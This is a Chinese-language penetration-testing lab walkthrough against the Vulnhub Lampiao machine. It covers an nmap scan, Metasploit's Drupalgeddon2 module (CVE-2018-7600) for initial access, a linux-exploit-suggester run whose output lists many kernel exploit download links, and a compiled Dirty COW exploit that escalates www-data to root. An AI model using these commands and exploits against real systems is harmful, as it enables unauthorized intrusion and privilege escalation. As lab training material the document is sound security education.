目录
[(1)open terminal](#(1)open terminal)
[(2)search drupal](#(2)search drupal)
[🔴 高概率漏洞(Highly Probable)](#🔴 高概率漏洞(Highly Probable))
[① [CVE-2016-5195] Dirty COW(脏牛) ⭐⭐⭐⭐⭐](#① [CVE-2016-5195] Dirty COW(脏牛) ⭐⭐⭐⭐⭐)
[② [CVE-2017-16995] eBPF_verifier](#② [CVE-2017-16995] eBPF_verifier)
[③ [CVE-2017-1000112] NETIF_F_UFO](#③ [CVE-2017-1000112] NETIF_F_UFO)
[④ [CVE-2016-8655] chocobo_root](#④ [CVE-2016-8655] chocobo_root)
[🟡 中等概率漏洞(Probable)](#🟡 中等概率漏洞(Probable))
[① [CVE-2021-4034] PwnKit ⭐⭐⭐⭐](#① [CVE-2021-4034] PwnKit ⭐⭐⭐⭐)
[② [CVE-2021-3156] sudo Baron Samedit 2](#② [CVE-2021-3156] sudo Baron Samedit 2)
[③ [CVE-2017-6074] dccp](#③ [CVE-2017-6074] dccp)
本文详细记录了通过脏牛漏洞(CVE-2016-5195)对Lampiao靶机进行渗透测试的全过程。首先使用nmap扫描发现靶机运行Drupal服务,利用Drupalgeddon2漏洞获取初始访问权限;随后上传漏洞检测脚本,确认存在脏牛漏洞;最后通过编译执行脏牛漏洞利用程序,成功将权限从www-data提升至root。实验环境包括Kali攻击机(192.168.59.141)和Lampiao靶机(192.168.59.150),完整演示了从信息收集、漏洞利用到权限提升的渗透测试流程,验证了脏牛漏洞在Linux内核2.6.22-4.8.3版本中的稳定提权能力。
| IP地址 | 主机名/标识 | 操作系统/服务 | 在渗透中的角色 | 所用漏洞/工具 | 权限变化 |
|---|---|---|---|---|---|
| 192.168.59.141 攻击者 | Kali攻击机 | Kali Linux | 渗透测试发起方,控制端 | 全套渗透工具集 | 保持root权限 |
| 192.168.59.150 初始入口点 | Lampiao靶机(Web服务器) | Ubuntu + Drupal CMS | 主要攻击目标,Web应用层 | CVE-2018-7600(Drupalgeddon2) | 无 → www-data |
| 192.168.59.150 权限提升点 | Lampiao靶机(操作系统) | Linux内核(受脏牛影响版本) | 内核级提权目标 | CVE-2016-5195(脏牛漏洞) | www-data → root |
一、脏牛漏洞CVE-2016-5195原理
脏牛内核漏洞是一种本地提权漏洞, 该漏洞是由于COW((Copy-on-Write))机制的实现问题导致的。具体来说,该漏洞利用了Copy-on-Write机制中的一个竞态条件(Race Condition),攻击者可以利用这个竞态条件来获取对一个本来只读的文件的写权限,从而提升为本地管理员权限。
| 项目 | 详细内容 |
|---|---|
| 漏洞名称 | Dirty COW(脏牛) |
| CVE编号 | CVE-2016-5195 |
| 公开日期 | 2016年10月19日 |
| 漏洞类型 | 竞态条件漏洞 (Race Condition) |
| 影响核心 | Linux内核内存管理子系统 |
| 影响范围 | Linux内核 2.6.22 (2007年) ~ 4.8.3 |
| 漏洞本质 | 利用 get_user_pages 在处理 写时复制 页时的竞态条件窗口,破坏内存只读属性的隔离机制。 |
| 攻击前提 | 拥有本地普通用户权限。 |
| 主要危害 | 本地权限提升 。允许低权限用户篡改系统内任何只读文件(如 /etc/passwd, 受保护的共享库等),从而获得 root(超级用户)权限。 |
| 特点 | 1. 稳定利用 :利用成功率高。 2. 影响持久 :可持久化后门。 3. 隐蔽性强:不依赖特定服务,内核级漏洞。 |
| 修复版本 | Linux内核 4.8.3 及以后版本。 |
| 修复方式 | 内核补丁修复了内存管理代码中的竞态条件逻辑。 |
| 历史意义 | 因其影响范围广(几乎所有Linux发行版十年间的版本)、利用稳定且危害巨大,成为Linux安全史上最著名的本地提权漏洞之一,彻底暴露了内核级竞态条件漏洞的风险。 |
二、环境搭建
1、攻击机kali
kali-linux(IP:192.168.59.141/24)

2、Lampiao靶机
(1)下载靶机
使用靶机Lampiao,下载完成后解压到电脑
下载地址:(vulnhub)https://download.vulnhub.com/lampiao/Lampiao.zip
下载后解压,使用VMware直接打开并选择开机效果如下图所示:

(2)获取靶机ip地址
使用工具查看存活网段,如下所示由于攻击机kali为192.168.59.141,本机为192.168.59.1,故而靶机为192.168.59.150。

(3)攻击机ping靶机测试连通性

三、渗透流程
| 渗透阶段 | 攻击IP | 目标IP | 主要活动 | 关键工具/漏洞 | 获取权限 |
|---|---|---|---|---|---|
| 信息收集 | 192.168.59.141 | 192.168.59.150 | 端口扫描、服务识别 | nmap |
无 |
| Web渗透 | 192.168.59.141 | 192.168.59.150 | Drupal漏洞利用、WebShell上传 | Metasploit drupal_drupalgeddon2 |
www-data(Web服务权限) |
| 内网侦察 | 192.168.59.141 | 192.168.59.150 | 系统信息枚举、漏洞检测 | Linux Exploit Suggester 自定义脚本 |
www-data |
| 权限提升 | 192.168.59.141 | 192.168.59.150 | 编译执行内核漏洞利用程序 | dirtycow exploit code gcc编译器 |
www-data → root |
四、Drupal漏洞渗透测试
1、探测端口与服务
(1)open terminal
在kali桌面将PoC文件夹放入到桌面,并进入文件夹,右键打开一个终端,如下图所示

(2)nmap探测端口
在Kali的终端使用nmap对靶机进行端口扫描,发现靶机开放了1898端口
nmap -p 0-65535 192.168.59.150
-
nmap:网络映射器,最著名的端口扫描工具 -
-p 0-65535:指定扫描所有TCP端口(从0到65535) -
192.168.59.150:目标IP地址

(3)发现Drupal服务
访问1898端口服务, 在该网页的最后部分发现了一个东西:powered by Drupal。
http://192.168.59.150:1898

2、Drupal漏洞渗透
(1)msfconsole
进入msfconsole模块,输入MSF信息,

(2)search drupal
查询drupal漏洞利用模块,共有8个,如下所示。

(3)drupal_drupalgeddon2
选择2018年的漏洞(exploit/unix/webapp/drupal_drupalgeddon2),它是Metasploit框架中用于利用Drupal CMS高危漏洞的攻击模块。该模块针对CVE-2018-7600(又称Drupalgeddon 2)漏洞,该漏洞源于Drupal 8.x/7.x版本对表单API的输入验证不足,允许远程攻击者在未授权的情况下执行任意PHP代码,从而完全接管网站服务器。接下来显示配置选项,如下所示包括RHOSTS和RPORT。
use exploit/unix/webapp/drupal_drupalgeddon2

(4)配置IP地址和端口号
set rhosts 192.168.59.150
set rport 1898
set rhosts 192.168.59.150
-
作用:设置目标远程主机地址
-
含义:将攻击/扫描的目标IP设置为
192.168.59.150 -
注意:
rhosts(带s)通常用于支持多个目标,但设置单个IP同样有效
set rport 1898
-
作用:设置目标远程端口
-
含义:将攻击/扫描的目标端口设置为
1898 -
说明:这是一个非常规端口(常见HTTP是80/443,SSH是22),可能运行着特定的脆弱服务

(5)渗透攻击
如下所示输入run后渗透成功。

(6)获取用户权限
看本地用户是否为root,如下所示确认用户非root,需进行本地提权

3、探测linux漏洞
(1)上传探针脚本判断是否存在漏洞
将攻击机上的漏洞探针linux-exploit-suggester.sh传到靶机中的/tmp/文件夹,并重命名为ljn.sh
upload /home/ljn/Desktop/CVE-2016-5195/linux-exploit-suggester.sh /tmp/ljn.sh

(2)进入shell命令行,为ljn.sh增加执行权限
shell
chmod +x ljn.sh

(3)执行漏洞检测脚本ljn.sh

(4)发现脏牛漏洞
输出如下所示,注意如下标黄部分为脏牛漏洞
完整信息如下所示:
Available information:
Kernel version: 4.4.0
Architecture: i686
Distribution: ubuntu
Distribution version: 14.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS
Searching among:
81 kernel space exploits
49 user space exploits
Possible Exploits:
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
[+] [CVE-2017-16995] eBPF_verifier
Details: https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
Exposure: highly probable
Tags: debian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,[ ubuntu=14.04 ]{kernel:4.4.0-89-generic},ubuntu=(16.04|17.04){kernel:4.(8|10).0-(19|28|45)-generic}
Download URL: https://www.exploit-db.com/download/45010
Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1
[+] [CVE-2017-1000112] NETIF_F_UFO
Details: http://www.openwall.com/lists/oss-security/2017/08/13/1
Exposure: highly probable
Tags: [ ubuntu=14.04{kernel:4.4.0-*} ],ubuntu=16.04{kernel:4.8.0-*}
Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-1000112/poc.c
Comments: CAP_NET_ADMIN cap or CONFIG_USER_NS=y needed. SMEP/KASLR bypass included. Modified version at 'ext-url' adds support for additional distros/kernels
[+] [CVE-2016-8655] chocobo_root
Details: http://www.openwall.com/lists/oss-security/2016/12/06/1
Exposure: highly probable
Tags: [ ubuntu=(14.04|16.04){kernel:4.4.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic} ]
Download URL: https://www.exploit-db.com/download/40871
Comments: CAP_NET_RAW capability is needed OR CONFIG_USER_NS=y needs to be enabled
[+] [CVE-2016-5195] dirtycow
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]
Download URL: https://www.exploit-db.com/download/40611
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
[+] [CVE-2016-5195] dirtycow 2
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
Download URL: https://www.exploit-db.com/download/40839
ext-url: https://www.exploit-db.com/download/40847
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
[+] [CVE-2021-4034] PwnKit
Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Exposure: probable
Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit 2
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: probable
Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
[+] [CVE-2017-6074] dccp
Details: http://www.openwall.com/lists/oss-security/2017/02/22/3
Exposure: probable
Tags: [ ubuntu=(14.04|16.04) ]{kernel:4.4.0-62-generic}
Download URL: https://www.exploit-db.com/download/41458
Comments: Requires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass
[+] [CVE-2016-2384] usb-midi
Details: https://xairy.github.io/blog/2016/cve-2016-2384
Exposure: probable
Tags: [ ubuntu=14.04 ],fedora=22
Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-2384/poc.c
Comments: Requires ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user
[+] [CVE-2015-3202] fuse (fusermount)
Details: http://seclists.org/oss-sec/2015/q2/520
Exposure: probable
Tags: debian=7.0|8.0,[ ubuntu=* ]
Download URL: https://www.exploit-db.com/download/37089
Comments: Needs cron or system admin interaction
[+] [CVE-2015-1318] newpid (apport)
Details: http://openwall.com/lists/oss-security/2015/04/14/4
Exposure: probable
Tags: [ ubuntu=14.04 ]
Download URL: https://gist.githubusercontent.com/taviso/0f02c255c13c5c113406/raw/eafac78dce51329b03bea7167f1271718bee4dcc/newpid.c
[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)
Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
Exposure: less probable
Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
[+] [CVE-2022-2586] nft_object UAF
Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
Exposure: less probable
Tags: ubuntu=(20.04){kernel:5.12.13}
Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
[+] [CVE-2021-3156] sudo Baron Samedit
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: mint=19,ubuntu=18|20, debian=10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exposure: less probable
Tags: ubuntu=20.04{kernel:5.8.0-*}
Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded
[+] [CVE-2019-18634] sudo pwfeedback
Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/
Exposure: less probable
Tags: mint=19
Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
Comments: sudo configuration requires pwfeedback to be enabled.
[+] [CVE-2019-15666] XFRM_UAF
Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc
Exposure: less probable
Download URL:
Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled
[+] [CVE-2017-7308] af_packet
Details: https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html
Exposure: less probable
Tags: ubuntu=16.04{kernel:4.8.0-(34|36|39|41|42|44|45)-generic}
Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-7308/poc.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-7308/poc.c
Comments: CAP_NET_RAW cap or CONFIG_USER_NS=y needed. Modified version at 'ext-url' adds support for additional kernels
[+] [CVE-2017-5618] setuid screen v4.5.0 LPE
Details: https://seclists.org/oss-sec/2017/q1/184
Exposure: less probable
Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154
[+] [CVE-2016-9793] SO_{SND|RCV}BUFFORCE
Details: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793
Exposure: less probable
Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-9793/poc.c
Comments: CAP_NET_ADMIN caps OR CONFIG_USER_NS=y needed. No SMEP/SMAP/KASLR bypass included. Tested in QEMU only
[+] [CVE-2016-4557] double-fdput()
Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=808
Exposure: less probable
Tags: ubuntu=16.04{kernel:4.4.0-21-generic}
Download URL: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1
[+] [CVE-2015-1318] newpid (apport) 2
Details: http://openwall.com/lists/oss-security/2015/04/14/4
Exposure: less probable
Tags: ubuntu=14.04.2
Download URL: https://www.exploit-db.com/download/36782
[+] [CVE-2016-0728] keyring
Details: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/
Exposure: less probable
Download URL: https://www.exploit-db.com/download/40003
Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-working
✅目标系统概况:
-
旧版系统:Ubuntu 14.04已于2019年停止官方支持
-
旧内核:4.4.0内核存在多个已知漏洞
-
32位架构:某些漏洞利用对32位系统更有效
🔴 高概率漏洞(Highly Probable)
① [CVE-2016-5195] Dirty COW(脏牛) ⭐⭐⭐⭐⭐
-
状态 :
highly probable(极高可能性) -
匹配度 :完美匹配
ubuntu=14.04 -
利用难度:低,有成熟稳定利用代码
-
影响:本地普通用户 → root权限
-
备注:Linux史上最著名本地提权漏洞之一
② [CVE-2017-16995] eBPF_verifier
-
状态 :
highly probable -
匹配度 :明确支持
ubuntu=14.04{kernel:4.4.0-89-generic} -
条件 :需要
CONFIG_BPF_SYSCALL启用
③ [CVE-2017-1000112] NETIF_F_UFO
-
状态 :
highly probable -
匹配度 :完美匹配
ubuntu=14.04{kernel:4.4.0-*}
④ [CVE-2016-8655] chocobo_root
-
状态 :
highly probable -
匹配度:支持4.4.0内核多个子版本
🟡 中等概率漏洞(Probable)
① [CVE-2021-4034] PwnKit ⭐⭐⭐⭐
-
状态 :
probable -
影响:Polkit权限提升漏洞
-
特点:2022年初爆发,影响范围极广
② [CVE-2021-3156] sudo Baron Samedit 2
-
状态 :
probable -
影响:sudo缓冲区溢出漏洞
-
条件:需要sudo特定配置
③ [CVE-2017-6074] dccp
-
状态 :
probable -
匹配度:明确支持当前内核版本
五、脏牛漏洞渗透测试
1、上传PoC
上传脏牛漏洞利用文件上传到靶机中的/tmp/文件夹,并重命名为ljn.cpp
upload /home/ljn/Desktop/CVE-2016-5195/dcow.cpp /tmp/ljn.cpp

2、编译漏洞利用文件
进入shell命令行,编译漏洞文件dcow,如下所示

3、交互式终端
在shell命令中执行python创建一个交互式终端
python -c 'import pty; pty.spawn("/bin/bash")'

4、执行脏牛漏洞渗透程序
交互式终端中执行dcow脏牛渗透程序(./dcow),如下所示。

5、切换root账户
执行su root操作,命令如下所示,直接提示了密码为dirtyCowFun,此时再次执行whoami,已经提示当前用户为root,成功由www-data用户提权为root用户,渗透成功。
